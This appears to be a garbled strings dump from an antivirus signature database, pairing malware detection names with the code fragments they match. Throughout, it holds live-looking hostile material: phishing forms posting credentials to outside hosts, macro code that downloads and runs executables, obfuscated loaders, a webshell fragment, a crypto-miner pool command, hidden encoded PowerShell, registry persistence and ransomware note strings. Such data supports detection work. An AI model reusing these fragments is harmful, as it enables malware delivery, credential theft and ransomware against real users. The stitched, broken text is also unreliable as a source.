SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA== GDIScreenShot CryptReleaseContext CryptUnprotectData PVAULT_CRED8 Process32NextW uFileFinderU 
uIE7_decodeU ShellExecuteExW GetLogicalDriveStringsA InternetCrackUrlA HttpAddRequestHeadersA Browsers\\Cookies Browsers\\Cookies] Trojan:Win64/Trickrdp.A!MTB BotID trybrute rdp/names 
rdp/dict rdp/over rdp/freq rdp/domains rdp/domains] Trojan:Win64/Trickrdp.B!MTB F:\\rdpscan\\Bin\\Release_logged\\x64\\rdpscan.pdb !OceanLotus.AC!MTB 977Lp Trojan:HTML/Phish.JAD!MTB 
<formaction=http://tenillar.com/ko/pos.phpmethod=post> 8<formaction=http://tenillar.com/ko/pos.phpmethod=post> <formaction=http://185.236.231.209/xcel/copy/xel.phpmethod=post> 
B<formaction=http://185.236.231.209/xcel/copy/xel.phpmethod=post> <formclass=\"modal-contentanimate\"method=\"post\"action=\"http://185.236.231.210/test/en/dsf.php\"> `<formclass=\"modal-
contentanimate\"method=\"post\"action=\"http://185.236.231.210/test/en/dsf.php\"> Behavior:Win32/SvchostInject.B Behavior:Win32/WermgrInject.A .@\t Xp .@  Xp Exploit:O97M/CVE-2017-
0199.YAB!MTB \"Exploit:O97M/CVE-2017-0199.YAB!MTB target=\"http://tsdyprivatecloudshareandfileprotectsyta.ydns.eu/receipt/invoice_141140.doc\"targetmode=\"external 
ptarget=\"http://tsdyprivatecloudshareandfileprotectsyta.ydns.eu/receipt/invoice_141140.doc\"targetmode=\"external TrojanDownloader:O97M/Emotet.RAC!MTB 
$TrojanDownloader:O97M/Emotet.RAC!MTB Trojan:Win64/Trickbot.A!mod rdpscan.dllControlFreeBufferReleaseStart] Trojan:Win64/TrickbotMshare.A!MTB !Trojan:Win64/TrickbotMshare.A!MTB 
7c8DhxWXjErT7C/z7ce 4Pj+/D9oJP4ZJDyoG2j+/D9oJc7qG2j1JD4MuLYLIE+oVg5 PDPqIPj+/D9oJGjcIG4Lswjo IgYMmw4d/CWzmw9a IgYMmw4d/CWzmw9a] Ransom:Win32/CerberCrypt.SU!MTB 
Trojan:PDF/Phish.SK!MSR !Trickbot.SV!MTB MoveLeft Release] Trojan:PDF/Phish.VT!MSR Stelega.AS!MTB Behavior:Win32/Pacalau.A Behavior:Win32/Rawanpec.A @$^O3 
Trojan:Win64/Trickbot.SE !Trickbot.AAB !Trickbot.AAB&@ \"X7fv dllControlFreeBuffer ReleaseStart .dllControlFr eBuffer eBufferNetServerStartNetServerStopReleaseStart Backwar .dllBackwar 
Forward Pause ControlForwardFreeBufferPauseReleaseReverse ControlCreateInstanceF eeBuffer eeBufferReleaseStart ?Stop@@ .dll?Stop@@ .dllControlFreeBuffer OnLoad OnUnload 
OnUnloadReleaseStart ?DLLControl@@@@ .dllControl?DLLControl@@@@ ?DLLFreeBuffer@@ 0?DLLFreeBuffer@@ ?DLLRelease@@ 0?DLLRelease@@ ?DLLStart@@ 0?DLLStart@@ 
@FreeBufferRelease ?Find@@Y ?Init@@Y ?Shutdown@@Y _Control@ .dll_Control@ _FreeBuffer@ _Release@ _Start@ ?ReleaseA@@Y .dllControlFreeBufferRelease?ReleaseA@@Y .dll?
ReleaseA@@Y AboutDialogP .dllAboutDialogP ocControlDllRegisterServerDll nregisterServer JNI_OnLoad JNI_OnUnload nregisterServerFreeBufferJNI_OnLoadJNI_OnUnloadReleaseStart 
!Trickbot.ZC core-parser.dll BanRule ClearRules ConfigInitDpost ConfigInitDynamic ConfigInitStatic EnumDpostServer core-
parser.dllBanRuleClearRulesConfigInitDpostConfigInitDynamicConfigInitStaticEnumDpostServer /rcrd/ /getq/ /snapshoot/ /rcrd//getq//snapshoot/ Behavior:Win32/TrickBot.B!nri !Invacert.A!MSR 
!Trickbot.ZD F:\\Projects\\WebInject\\bin\\x86\\Release_logged\\payload32.pdb Payload (build %s %s) injected D$LDS D$QY3 !Xtrat!MSR  Ea.,g Behavior:Win32/BDNS.S @ %program_files% 
Behavior:Win32/BDNS.R Behavior:Win32/BDNS.X SuspUnixReShellCmd.O /bin/ AGamarue !Gamaure !Nivdort.DH watch_dog_name.exe /index.php?data= 
ADRIANCOPILULMINUNESIFLORINSALAM ADRIANCOPILULMINUNESIFLORINSALAM] !Obfuscator.TX s=\"\"dimnn=0dimnnnn=\" cs=\"\"dimnn=0dimnnnn=\" 
\"dountiln=len(m)n=n+1s=s&chrw(ascw(mid(m,n,1))-&h9000+len(nn))loopexecutes !Obfuscator.TY Behavior:Win32/EdgeInjectBlock.A . Behavior:Win32/EdgeInjectBlock.A Rdpbrute.A !Hagcons.A 
'CcZ\tm q2m:? i?/ag^ i?3Vq i?m:? =|+5` 6jFSlL !Dinolap!rfn !Injector.BH!bit Injector.II!bit CreateDecryptorTransformFinalBlock System.Reflection.Assembly !Posokap.A!bit KAPTOXA oscan process with 
pid for kartoxa \\mmon.pdb !Genmaldow.A!bit C:\\Program Files\\Cmd Files\\ img.syuan.net/forum/ MyAppByMulinB ExeProcesstest server.dat !Injecter MineBicoin.Y minerd-acryptonight-
ostratum+tcp://mine.moneropool.org:80-u463rxdz7msmsodw Lminerd-acryptonight-ostratum+tcp://mine.moneropool.org:80-u463rxdz7msmsodw !Banload.BGC content-
na.drive.amazonaws.com/cdproxy/templink/ ://cl.ly/ WshShell.Run chr(34) & \" .exe\" & Chr(34),0 !Miniduke!rfn !Spiliwan!rfn !Cuffahlt.C hostf shdnf cachf noncf cmdrf Uflooder.A!bit UDP_Flood Start 
Attack Eternals UDP Flood !Twexag.B @ \":data=split(data,\"h\")(1):subsavefile(fname,str):dimtemp:setxmldoc=createobject(\"microsoft.xmldom\"):xmldoc.loadxml\"<?xmlversion=\"\"1.0\"\"?
>\":setpic=xmldoc.createelement(\"pic\"):pic.datatype=\"bin.hex\":pic.nodetypedvalue=str:temp=pic.nodetypedvalue:withcreateobject(\"adodb.stream\"):.type=1:.open:.writetemp:.savetofilefname,2:.close
:endwith:endsub:setws=createobject(\"wscript.shell\"):fn=ws.expandenvironmentstrings(\"%temp%\")&\"\\tmp.exe\": Ransom:Win32/Empercrypt.A schtasks.exe /delete /TN uac /F 0YOUR PERSONAL 
INFORMATION ARE ENCRYPTED by 7ev3n *bcdedit /set {current} recoveryenabled off dblockchain.info/api/receive?method=create&address= FILES_BACK.txt 4?SSTART=true&CRYPTED_DATA= 
\"fgate.php?RIGHTS= !Doedlid !Banload.BGD !Tacpud.A RWQEq Disable_All [RCon]| [New]| [Rcon]| [Done]| [Move]| [TCP]| [UDP]|  [HTT]| [Wait]|  Open !Nivdort.DI Trojan:Win64/MineBicoin.Y 
!MineBicoin.Y !Itagomoko.A !Itagomoko.A]@ |<\tts O>YmE6 |Sc0vA7 _GV!{ Backdoor:Win64/Kenoja.A AAxpergle.CH U?\"\\x 0-9a-f\":\" a-z+=( 0-9+?\" !Pizwin.A ARedirector.QA 
.useragent;varb3p3f=0;if(nsd5ik.indexof(\"\\u0057in\\x64ows\")==-1||(nsd5ik.indexof(\"msi\\u0045\")==-1&&nsd5ik.indexof(\"\\u0047ec\\u006bo/\")==-1&&nsd5ik.indexof(\"trid\\u0065n\\u0074\")==-1))
{return0;}try{try{if(demsfw(jcvjp4p)==od4rg9){returnfalse;}}catch(rdwfb9t){};if(nsd5ik.indexof(\"ms\\x49e\")!=-1||nsd5ik.indexof(\"\\x54rid\\u0065nt\")!=-1){try{b3p3f=umm8qu();functionumm8qu 
!QQpass.CKH!bit qq.exe786464602A3F3F SendSMSActive Action=AddUser&Server= &User= !Expiro.EA!bit BAOAOOAAO !Fakeon.A!bit 1sass.exe New Folder.exe Hideprocess @Autor David Farji - 
Concepto 201 !Lidared !Banload.BGE !Injector.ID!bit !Injector.IE!bit !Delf.ZXX!bit !Itagomoko sn\t(,~3 !Wmfap!rfn !Coolvidoor!rfn Trojan:HTML/Redirector.FS <scriptsrc=http://w0rms.com/sayac.js> 
'<scriptsrc=http://w0rms.com/sayac.js> Backdoor:ASP/Ace.U 
onerrorresumenextsetfileso=createobject(\"script\"&byp4ss&\"ing.file\"&byp4ss&\"systemobject\")dimhead,endd,pathn,endddfolderpath=request.servervariables(\"pat\"&byp4ss&\"h_trans\"&byp4ss&\"lat
ed\")privatefunctionparsefolder(pathstring)dimlicountifright(pathstring,1)=\"\\\"thenparsefolder=pathstringelseforlicount=len(pathstring)to1step-
1ifmid(pathstring,licount,1)=\"\\\"thenparsefolder=left(pathstring,licount !Itagomoko!rfn Zurten.A AIframe.ES status=location;document.write('<iframesrc=\"http://track.wwwapps-
ups.com/stats/xstats.php\"width=\"0\"height=\"0\"frameborder=\"0\"></iframe>'); AQakbot.M @ shcHh hcHh]h !Pdfphish.Q !Delf.ZXZ!bit msiexec /q /i] !Uoolop.A!bit !Mkar.I!bit 
SOFTWARE\\Microsoft\\Mrak \\Netstart\\svchost.exe !Annia!rfn Behavior:Win32/SupTab.R -ptid= !Nivdort.DJ Banablid.A !Tipikit.D !Swizzor.IR !Ryknos.R !Ryknos.S !Small.FK !Opanki.AI !Opanki.AJ 
!Opanki.AK !Opanki.AL !Opanki.AM !Oscarbot.M !Truim.I !Prix.A !Prix.B !Hooker.P !Wootbot.BI !Spybot.AM !VB.FH !IceHack.A !Luhn.C !Banbra.Q !Utilman.A !Munzter.A !VB.WQ !Junty.A !Simple.A 
!Luzia.B !VB.WR !winrar.A !Lmirtool.A !Asank.A !Randex.AB FZcXy !Anarchy.A !Mescalin.A !HammerBinder.A 5HammerBinder.A !Floodsave.A !Delf.DZ http://www.universal101.com/upd 
x=0/ed=0/ex=1  http://aklick.info/d.php?date= 4 !Hamer.A !Hamer.B !Hamer.C !Hamer.D !Hamer.E !Hamer.F !Nilob.A !LookMSN.A !Apropo.N !Novelce.A !Novelce.B !Novelce.C !Apropo.O !Purga.A 
5kmo.  k@:] !Boxed.S !Boxed.T !Expor.A !IEZones.D !Delf.FG !Wisdoor.B !Adlinks.A !VB.GH !Outbreak.C !Omefig.A !Gaobot.CZ !Gaobot.DA !Delf.TH !VB.WS !Sdnacm.A !Vasvix.A !Sadfas.A 
!Swizzor.CH )Atak.F !Delf.EV )Atak.I !Lookme.H !Randex.FF !Salira.A !Startpage.SC !Small.RO !Small.OL !Ciadoor.D !Small.RP !Startpage.TB !VB.B !Bilay.A ~u.\\F0` aOpenStream.I !Safq.A !Teeme.A 
!Veenet.A w%PYm !RPCNuke.C !VB.EI !Amitis.A !Amitis.B !Amitis.C !Faviant.A !IEZone.A !Gaobot.ZQ DS!b!b !Banco.EL !Banco.EM #Banco.EM !Outbreak.E !VB.BZ !Vidlo.H !VB.EM L(@\"] !VB.EN 
#VB.EL !Masteseq.F 7iF]7h`% !Masteseq.G !Masteseq.H !Masteseq.I !Masteseq.J !Masteseq.K !Adialer.FI !Masteseq.L !Baasay.A !Masteseq.M ]7`.Z\t !Masteseq.N !Masteseq.O !Masteseq.P 
!Masteseq.Q !Vaasay.A !Microjoin.D !Small.BT !Qaasay.A !Small.BU !Delf.FI !Dipass.A !Masteseq.R !Masteseq.S !Dipass.B !Shodi.G !CheeShodi.A #CheeShodi.A !Spybot.AP !Spybot.AQ !Spybot.AR 
!Spybot.AS !Small.NT !Qoologic.C !Adialer.FJ !Badrat.A z;3\t> !Badrat.B !Badrat.D !Badrat.E !Small.EA !Badrat.F !Adpower.E !Badrat.G !Laxor.A !Adialer.FK !Badrat.H !Badrat.I !Badrat.J !Banito.U 
!Fandool.A !Kamipeef.A !VB.GA !MedMotor.A !Totalvel.A !Small.NU !SecondThought.R !Mudrop.I !Bropia.E !Bropia.F !Bropia.G !Bropia.H !Spybot.BA !Spybot.BB !Spybot.BC !Pakes.C !Bropia.I 
!Spybot.AY !Bropia.J !Spybot.AZ !Gaobot.ZY !Bropia.L !Spybot.BD !Qoologic.E }1`b`& !Qoologic.F !Fratele.A !Fratele.B !Fratele.C !Wootbot.BK !Wootbot.BL !Wootbot.BM aClassloader.E !Bube.B 
!Bube.C !Meshbot.A !Bropia.N !Spybot.BJ !Bropia.O !Bropia.P !Spybot.BM !Spybot.BL !Gaobot.AAE !Joiner.AG !Small.M !Small.DE !Radmin.D !Small.PC !Delf.DA !Pino !Wootbot.BN 2-8b63-
2f2291d6e56a c8d5ae9d-21af-48c2-89e0-ae60026c5ab0 c8d5ae9d-21af-48c2-89e0-ae60026c5ab0] !Blinsload.A http://lavajatowi.sslblindado.com/ 0#3http://lavajatowi.sslblindado.com/ 01.rar \\vmapp  
?0#c:\\programdata\\  !MobicArch.A !VBInject.AEJ !CVE-2015-1641 !CVE-2015-1641m@ 588%Z_ &dtsz !|+0 `fESaD GkE%;M, GkE%;M,0  %;M,g \\~ W3 JJk,wu  -eH0g  \tejhg Ransom:JS/Fakpst.A 
t=\"australiapost\"src=\"http:// ut=\"australiapost\"src=\"http://  .ru/ .jpg\">australiapost</td> href=\"http:// @.ru/ @.php?id= @\"_blank\">print Ransom:JS/Fakpst.B .php?id=  
=\",\"\\x72\\x65\\x70\\x6c\\x61\\x63\\x65\",\"\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\"];window[_  [0]);</script><imgheight=\"1\"width=\"1\"alt=\"\"style=\"display:none\"src=\"// !Banker.AOY 
r.leandro.santos2015@uol.com.br dusterifos2020@gmail.com agoraachoquevaiavisonovo@gmail.com senderenvioemail.tmp maria2089 !CVE-2015-1770 !Frosparf.A /cdn.pekalongan-kummunity.com 
InjectMN \\pekalongan.vbp /files/zza15.zip windows\\073CZ59.exe HackAlert Credit Cheat Pekalongan Kommuniti ARedirector.OK bytiger-m@te (bytiger-m@te <script>var_0x =[\"\\x 
TrojanDownloader:O97M/Donoff.P RwtpBoqn SuklNzMvdmKdHhyKrHvGvcBB hPMQQpTNoydvTmnAOlzBQZSLGHRleJO OGUXESxGLrJiHkxa, qeOtzBJemRtwnWSVq 
TrojanDownloader:O97M/Mektwool.A  TrojanDownloader:O97M/Mektwool.A Lib \"shell32\" Alias _  \"ShellExecuteA\" (ByVal Lib \"urlmon\" Alias _  \"URLDownloadToFileA\" (ByVal Dim 
UrlToDownloadAndExecute As String  UrlToDownloadAndExecute = byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec] 
Craxfora.A G_NomeArqDestinoIniciar Func_Conex Func_TemOCara Func_Arroxa select guarda1 from ropeiro INSERT INTO tbl_avs values (@id_pc,@versao,0,0,@ggbb,0,0,0,0,0,@data) 
SQL5009.Smarterasp.net Evestern.exe myKey123 TrojanDownloader:O97M/Donoff.Q --8rvvj\" Environ$( StrReverse( Xor first(Temp + first((third + first(third)) Mod 254)) 7Xor first(Temp + first((third + 
first(third)) Mod 254)) 77Btxxl\", TrojanDownloader:O97M/Donoff.R  = NewPath & NewPath & \"\" & \"C:\\Users\\\" & NewPathe & \"\\AppData\\Local\\Temp\" & Split( S = NewPath & NewPath & \"\" & 
\"C:\\Users\\\" & NewPathe & \"\\AppData\\Local\\Temp\" & Split(  = LovesAllofYouLoveYour(\"xxx gHJdfh.exec(OIKJIKHJ !VBInject.AER LLLLu S@8}# TrojanDownloader:O97M/Donoff.S \"ht$tp$:/ 
\t\"ht$tp$:/ \"h??tt??p:/ Environ(Replace(\" , \"$\", \"\")) Replace(\"O ShellExecuteW 0&, !Taloc.H TrojanDownloader:O97M/Donoff.T .exec(obxvhKDkLL95) UnscrambleString(\"mpt\") zBzbmMmAG(0, 
oz8wJHIeSx8l, obxvhKDkLL95, 0, 0) \"esw.stilhplcr\" !AutInject.BY !Bunitu.M trew/1.0 200 OK ursent rsion tify\\ \\Xhardd ccess\\S rameters\\GirewallPolicy\\StandardProfile\\ !VBInject.AES CCCCu 
BBBBu !Banload.X =temppasta+zipfile+\"e\"+\"\"\"\"+foldername+nmfile+\"\"\"\"+\"-aoa\"+\"-p\"+pass+\"-o\"+\"\"\"\"+foldername+\"\"\"\"+\"*.exe\"+\"-r\"wshshell.run ,1,true 
temppasta+fcrypt(hextostring(zipfile),ch3a)+\"e\"+\"\"\"\"+foldername+fcrypt(hextostring(nmfile),ch3a)+\"\"\"\"+\"-aoa\"+\"-p\"+pass+\"-o\"+\"\"\"\"+foldername+\"\"\"\"+\"*.mkv\"+\"-r\"wshshell.run 
!CeeInject.GM !Banload.Y !Obfuscator.APU !Febian.A d:\\ms.txt \\bfconfig.txt BianFengBackDoorV !Obfuscator.APV !Obfuscator.APW Behavior:Win64/Lequse.A!dha 
Behavior:Win32/InjectedRemoteThreadSqlservr .+Behavior:Win32/InjectedRemoteThreadSqlservr Trojan:Win64/Lequse.A!dha !Padede.A SIGATTR:Win32/Padede.A&HSTR:Win32/Padede.A] 
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.*SIGATTR:Win32/Padede.A&HSTR:Win32/Padede.A] !Kripfly.A linkzip,stemppast+nameziptpushuulinkpri,stemppast+namepristr8zip=stemppast+namezip+\"x\"+stemppast+namepri+\"-aoa\"+\"-
p\"+spasswd+\"-o\"+sapppastobjwshell.runstr8zip !Obfuscator.APX Pluterdma.A -opuntos.exehttp://www.profwoman.ru/mp3remrenamematrix.servmatrix.exe G-
opuntos.exehttp://www.profwoman.ru/mp3remrenamematrix.servmatrix.exe !Startpage.XZ !Banload.Z +M:@j Q+M:@j !Eigivef.A !Obfuscator.APZ !Banload.AA 
environ(chr(65)&chr(112)&chr(112)&chr(68)&chr(97)&chr(116)&chr(97))&chr(92)&chr(86)&chr(66)&chr(69)&chr(5 
)iffileexists(slocalpath&chr(92))thenwscript.quitmkdirslocalpathslocalpath=slocalpath&chr(92)&randomstring(8)&chr(46)&chr(101)&chr(120)&chr(101) chr(104)&chr(116)&chr(116)&chr(112) !Banload.AB 
=wscript.createobject(\"wscript.shell\")dimappdatawin7=objwshell.expandenvironmentstrings(\"%appdata%\")winxp=objwshell.expandenvironmentstrings(\"%windir%\\system32\")a0218367812b\"ht 
!CeeInject.gen!LG Dolphtoob.A eE*mw U6I775B3XVykqfxRtyePbA== Dolphin Boot - Coded For Dolphin Protector /c echo [zoneTransfer]ZoneID = 2 > pchealth.exe UrlAssociations\\http\\UserChoice 
4hrfienz.rfk.dll !Banload.AC regsvr32.exe/s\":savebinarydatabinarygeturl(surl&\"c.html\"),snomeimg:objwshell.runscamaro&smonza&snomeimg&smonza&ssenha 
wregsvr32.exe/s\":savebinarydatabinarygeturl(surl&\"c.html\"),snomeimg:objwshell.runscamaro&smonza&snomeimg&smonza&ssenha !Olutall AMeadgive.V Exploit:HTML/Meadgive.N !Obfuscator.AQA 
!VBInject.AEQ !Upatre.CD > gL] !CeeInject.GN !Injector.GW TrojanDownloader:O97M/Kriof.A -window hidden -enc Critical Microsoft Office Error JAAxACAAPQAgACcAJABjACAAPQAgAC 
Ransom:HTML/Tescrypt j,k-+ Bartallex.M  As Integer) )  & \"om/w\" & \"p-includes/theme-compat/\" (ATTH + STT1 + LNSS) Behavior:Win32/DnsTamperLib !OnionDuke.A!dha !OnionDuke.C!dha 
upload_slowdown_ms: master_slave_policy: post_per_request_limit_kb: local_limit_mb: mycert: hex( - arg: campaign_id !OnionDuke.B!dha !OnionDuke!dha Nagoot.A I=M>\t] !Worqid.A !Upatre.CE 
!Banker.AOZ !AutInject.BZ :.iI7 !Seepeldown.D !VBInject.AET !Obfuscator.AQC !Brucryp O+P3f85OR !Startpage.YH !Alucple !Codbot fGLOBAL CONST $DVD_FILE_ROOTPATH = \"autorun\\autorun. 
GLOBAL CONST $DENY_PROCESS_LIST = STRINGSPLIT ( \"Burn|nero|clone|iso|dvd|cd|alc|bw|taskmgr\" , \"|\" ) GLOBAL CONST $DENY_WINDOWS_LIST = STRINGSPLIT ( \"Ashampoo Burning 
Studio|Alcohol 120|Alcohol 52\" , \"|\" ) REGWRITE ( \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" , \"NETLib\" , \"REG_SZ\" , @SCRIPTFULLPATH ) #NoTrayIcon 
#RequireAdmin] !Weebu.A !Obfuscator.AQB !Obfuscator.AQD Ffloq.A set_Expect100Continue Firefox.Resources.resources ConfuserEx v0. ConfuserEx v0.g Katara.A Tectizo.A Subti.G /c reg add 
\"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\W !Slackbot.D p8eJ* )Gopworm.A )Heyya.A )Skybag.B B_T(y )Torvil.D !Blaxe.A !Bomka.A !VB.ZS !VB.ES !Delf.HN !Bancos.ID !Banker.UJ 
!VB.ANO !Banker.DER !Bomka.B !VB.IF !Aimbot.BA !Amitis.D !Beastdoor.CK !Beastdoor.CL !Beastdoor.CM !Beastdoor.CN !Bifrose.DB !Bionet.F !Coldfuson.I !Delf.YU !Delf.YV !Kamikaze.A !Lithium.C 
!Netdevil.L !Optix.AA !Optix.AB !Optix.AC !Optix.AD !Optix.AE !Optix.AF !Optix.AG !Optix.AH !Optix.AI !Optix.AJ !Winshell.G !Winshell.H !Winshell.I !Winshell.J !Winshell.K !Eliterab.B l,+K@ !Madtol.G 
!Delf.KV ,taWi !VB.WJ !VB.WK !WarSpy.G !Bancos.IF !Delf.GY !Scane.A !Tuim.D !Tuim.E !Smuma.B !Smuma.A !Mulod.A !Yiha.A !Bifrose.B !Feardoor.L !Sfind.B !Frusion.A !Ducky.A !PWSteal.D 
!Zinflow.A aFURootkit.A do'MK c0\\Q}s&G !VB.WA !Aflooder.A !VB.WB !VB.K !PcClient.C !Aflooder.B !ProcKiller.A !VB.WC !Delf.RJ !Small.VL !Sennaspy.2000 !Funner.A !Recto.A !Small.VN !Small.VO 
!VB.WD !Small.AF r aiE !Gaobot.ZG !Small.VR !VB.BU !VB.WE !Small.AG !Splitu.A !Tuim.G !Tuim.H 5P1):v !Lmir.QW !Small.BV Maxload.A V/e ] )Mywife.G !Protoride.AD !Bancos.BH !Randex.FD 
!Gaobot.ZH !Dcom.BX !Banbra.R !Small.LS !Delf.FE !Bancos.BK Provider=SQLOLEDB.1;Password= javascript:enviaUrl Enviarpgina Windows messenger javascript:cadastroSenhas() \\liberaplug.log 
!Delf.SC !DcomScan.A !Small.MI !Small.MK !Small.ML !Bancos.BL !Wootbot.CR !Startpage.PS !Small.MM !Gaobot.ZK !Small.MO !Inof.A !Small.MQ !Banbra.Z !Small.MS \t7t!\") !Small.MT !Triject.A 
!Bifrose.E !Spybot.AO !Small.MU !Delf.FH !Small.MV !Adfram.B !Small.MW !Adfram.C !Adfram.D aClassloader.D !Adfram.A >c@lf !Pekax.A !Spuid.A !Smym.A )Mugly.C !NetexScan.A !SynFlood.F 
!Small.MX !Gaobot.ZL !Gaobot.ZM !Banbra.AA !Small.BW !Small.MZ !WebSearch.C !Webber.L !Delf.FF qEeg& !Hidproc.A !Small.NA >dM,G !AdSearch.A !AdSearch.B !Winad.B !Protoride.AF 
!Small.MY !NetexScan.B +Klez.H@mm !Small.NB !VB.DX !Startpage.PW !Outbreak.D !Small.NC !Startpage.PV !Small.B !Small.AL h<[ g/\\ !Small.AM !Small.AN !Banbra.AB !Startpage.PX !Adialer.FE 
!Adialer.FF !Adialer.FG !VB.DY !Small.BZ !Killfiles.FI !Killwin.W !Primativ.A !Zalim.A !Small.AO !Small.AP !Small.CN !Small.NP !Small.NQ !Zalim.B !Small.L !Berbew.CN !Berbew.CO !Banker.FO 
!Small.NR !Small.CO Behavior:Win32/Dirtvanontufo.A!nri .\"Behavior:Win32/Dirtvanontufo.A!nri Behavior:Win32/Solorabbit.B!nri Behavior:Win32/MZPEMemoryArtifacts.D 
.$Behavior:Win32/MZPEMemoryArtifacts.D !Chadivendo.STA Global\\ !Chadivendo.STB !Chadivendo.STC Pjjjjjjjh DebugBreak \\Temp\\edg AgentTesla.OXAR!MTB AgentTesla.OXAS!MTB 
Trojan:PDF/Phish.RRE!MTB Behavior:Win32/SuspMshtaLaunch.B . Behavior:Win32/SuspMshtaLaunch.B Behavior:Win32/RegWriteScript.A PP\t@/L\\microsoft\\windows\\currentversion\\run 
vbscript:execute Behavior:Win32/RegWriteScript.B PP\t@4 hkcu\\software  test-connection Puntil Exploit:O97M/CVE-2017-11882.HZ!MTB \"Exploit:O97M/CVE-2017-11882.HZ!MTB @ 
!Chadivendo.STD ServiceDll wwlib.dll Psc start \"%s\" f2032.com \tf2032.com Worm:AndroidOS/Goodnews.B!MTB Lcom/chodukaka/isporban StartAppAd  getSubId You need to click on Ad to 
Continue. $You need to click on Ad to Continue. To start Tiktok, follow next steps \"To start Tiktok, follow next steps Click on Next Button to continue  Click on Next Button to continue 
http://tiny.cc/Tiktok-Pro Share this APP on Whatsapp groups 10 Times.\\nto Start Tiktok. =Share this APP on Whatsapp groups 10 Times.\\nto Start Tiktok. AgentTesla.TL!MTB )1~]Tm 
TrojanDownloader:O97M/EncDoc.PKM!MTB $TrojanDownloader:O97M/EncDoc.PKM!MTB Behavior:Win32/DllMsiexecInject.B .!Behavior:Win32/DllMsiexecInject.B Trojan:ASP/Webshell.PB!MTB 
Trojan:O97M/ZLoader.RJ!MTB Racealer.DA!MTB $4365bee4-1b24-4b5f-815e-d5408dea8639 OnScreenKeyboard.Properties.Resources DebuggingModes] Racealer.DB!MTB $519712d6-3c83-4b33-
92b5-37f06995e528 $AAC9D1F6-E722-467C-8DAC-634967DB27FE SB.My.Resources FallbackManager.My.Resources !Ranumbot.RF!MTB eGlVXL Pjjjj DarkKomet.R!MTB !Stealer!MTB 
!SpyNoon!MTB !AveMaria!MTB !Spynoon.AVP!MTB TrojanDropper:O97M/Hancitor.EMLU!MTB %$TrojanDropper:O97M/Hancitor.EMLU!MTB & \"\\MsMp.dll\") = \"\" Then plop & \"\\MsMp.dll\") Call 
rnee(uuu, aaaa)] Agensla.GD!MTB http://myliverpoolnews.cf/liverpool-fc-news/features/ UserAgent: DownloadString] Rocke.A!MTB TrojanSpy:PowerShell/Stealer!MSR ' 
TrojanSpy:PowerShell/Stealer!MSR :\tdg& TrojanDownloader:O97M/EncDoc.RGEA!MTB %TrojanDownloader:O97M/EncDoc.RGEA!MTB 4htps:/ino.caregjc\\zmsffdwbkdvxul,rvlmontajexuyighpby 
74htps:/ino.caregjc\\zmsffdwbkdvxul,rvlmontajexuyighpby TrojanDownloader:O97M/Obfuse.BB!MTB #TrojanDownloader:O97M/Obfuse.BB!MTB zzzzh_b64 = zzzzh_b64 & \"/lasdwe/bdaa3811-bb6c-
42c7-ae25-0329f3a59ce1\", 436, zzzzh DynMemcpy alloc, zzzzh, hread, hwrite .ExpandEnvironmentStrings(\"%TEMP%\") & \"\\cym_16001380430BD84B24.exe\" Based = Based & hcffgfawrenm( & 
Chr$(Val(\"&H\" & Mid$( , 2))) = kuQWG9Jl(UserForm1.Label1.Caption) .Environment(\"process\").Item(\"param1\") = .run \"cmd /c call %param1%\", 2 = Split(afterBool, \"#\") 
c:\\\\users\\\\public\\\\nameTpl.h Optional refCnt = \"t\", Optional lBDocument = \"a\") = responseDeleteResponse & convertScr & \"\" & refCnt & lBDocument = responseDeleteResponse & convertScr & 
\"\" & refCnt & lBDocument] !SelfDel.V!MTB axq,Ng Trojan:Win64/CryptBanker!MTB Trojan:Win64/CryptInject.V!MTB Asyncrat!MTB Ransom:MSIL/Cring.DA!MTB your network is encrypted Crypt3r 
@tutanota.com killme.bat killme.bat] !Stelega.DE!MTB Ftbi}oMeakBqabzzrA Ftbi}oMeakBqabzzrA] !QQPass.DA!MTB KLJEWERHsdwqeh23211!@asdqSADwe BRESUZCDY.jpg wahaha wahaha] 
Trojan:AndroidOS/FakeApp.K!MTB Lcom/wagd/gg/MyService; /update/update.conf load64Data bytes getThisAppArch MobclickRT  /system/app/Kinguser.apk TrojanDropper:O97M/Donoff.PK!MSR % 
TrojanDropper:O97M/Donoff.PK!MSR = \"s\" & \"c\" & \"he\" & \"du\" & \"le\" & \".\" & \"s\" & \"e\" & \"r\" & \"vic\" & \"e\" F= \"s\" & \"c\" & \"he\" & \"du\" & \"le\" & \".\" & \"s\" & \"e\" & \"r\" & \"vic\" & \"e\" = \".\" 
& \"e\" = writeToFile(p & \"b.doc\", tOut)  = writeToFile(p & \"b.doc\", tOut) = \"x\" & \"e\" = publicpath & bslash & \"do\" & \"c\" & \"u\" & \"m\" & \"e\" & \"nt\" & \"s\" & bslash J= publicpath & bslash & \"do\" & 
\"c\" & \"u\" & \"m\" & \"e\" & \"nt\" & \"s\" & bslash = StrConv(\"PF&5NQK*mR^x94GE6HaU>%M;L{17/}@lDXgWq,ovitj`s~$fASyJcOd :rT8bV3-0\", vbFromUnicode) ]= 
StrConv(\"PF&5NQK*mR^x94GE6HaU>%M;L{17/}@lDXgWq,ovitj`s~$fASyJcOd :rT8bV3-0\", vbFromUnicode) Behavior:Win32/Chadivendo.A Lnet start !Chadivendo.STE ServiceResponce.dll 
ServiceResponce.dllServiceMain !Chadivendo.STF  %08x.txt TrojanDownloader:O97M/IcedId.MR!MTB #TrojanDownloader:O97M/IcedId.MR!MTB Behavior:Win32/ModMon 
Behavior:Win32/SystemMiner.A --donate-level AgentTesla.OXAT!MTB TrojanDownloader:O97M/IcedID.RVN!MTB $TrojanDownloader:O97M/IcedID.RVN!MTB \"c:\\progra\", Optional   = \"ta\" 
((\"explorer \") Split(ActiveDocument.Range.Text, \"x\") & \"mdata\\  .h\" & Print #1,      out & Chr(arr(cnt) Xor 100) TrojanDownloader:O97M/Obfuse.RVW!MTB 
$TrojanDownloader:O97M/Obfuse.RVW!MTB ddzdqsdff() & \"\\\" + rmlkejgmlkdfjgri(2) + \".exe\" PxPToxhq.Open \"GET\", sdqsldjkf, False slkfjdfjhglkjdshze.Run XxX, 1, True str & Mid(LETTERS, 
